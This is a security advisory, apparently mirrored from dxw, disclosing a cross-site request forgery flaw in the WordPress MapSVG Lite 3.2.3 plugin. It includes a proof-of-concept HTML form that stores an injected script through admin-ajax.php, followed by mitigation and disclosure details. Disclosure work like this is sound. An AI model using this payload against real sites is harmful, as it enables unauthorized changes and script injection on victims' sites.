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WordPress MapSVG Lite 3.2.3 Cross Site Request Forgery

WordPress MapSVG Lite 3.2.3 Cross Site Request Forgery
Posted Jan 8, 2019
Authored by Rob Skilling

WordPress MapSVG Lite plugin version 3.2.3 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | a62a696e1371182ff1d03ef33a6c1c775ff3fe79e8c36c980ef390c38d2ba247

WordPress MapSVG Lite 3.2.3 Cross Site Request Forgery

Change Mirror Download
Details
================
Software: MapSVG Lite
Version: 3.2.3
Homepage: https://en-gb.wordpress.org/plugins/mapsvg-lite-interactive-vector-maps/
Advisory report: https://advisories.dxw.com/advisories/csrf-mapsvg-lite/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF in MapSVG Lite could allow an attacker to do almost anything an admin can

Vulnerability
================
The plugin uses REST requests to modify post data, and does not check the nonce when doing so.

Proof of concept
================

Install the plugin on a site at http://localhost/
Ensure you have page with ID of 2.
Whilst logged in, visit an html page with this content and submit the form:

<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=mapsvg_save\">
<input type=\"text\" name=\"data[title]\" value=\"A bad value\">
<input type=\"text\" name=\"data[mapsvg_data]\" value=\"<script>alert(\'hello\')</script>\">
<input type=\"text\" name=\"data[map_id]\" value=\"2\">
<input type=\"submit\">
</form>


Visit the page with ID of 2. It now has title of aA bad valuea and alerts ahelloa on loading.


Mitigations
================
Upgrade to version 3.3.0 or above.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://advisories.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2018-04-10: Discovered
2018-06-15: Author notified via email
2018-06-15: Author replied, fix to be published in next release
2019-01-08: Advisory published



Discovered by dxw:
================
Rob Skilling
Please visit advisories.dxw.com for more information.




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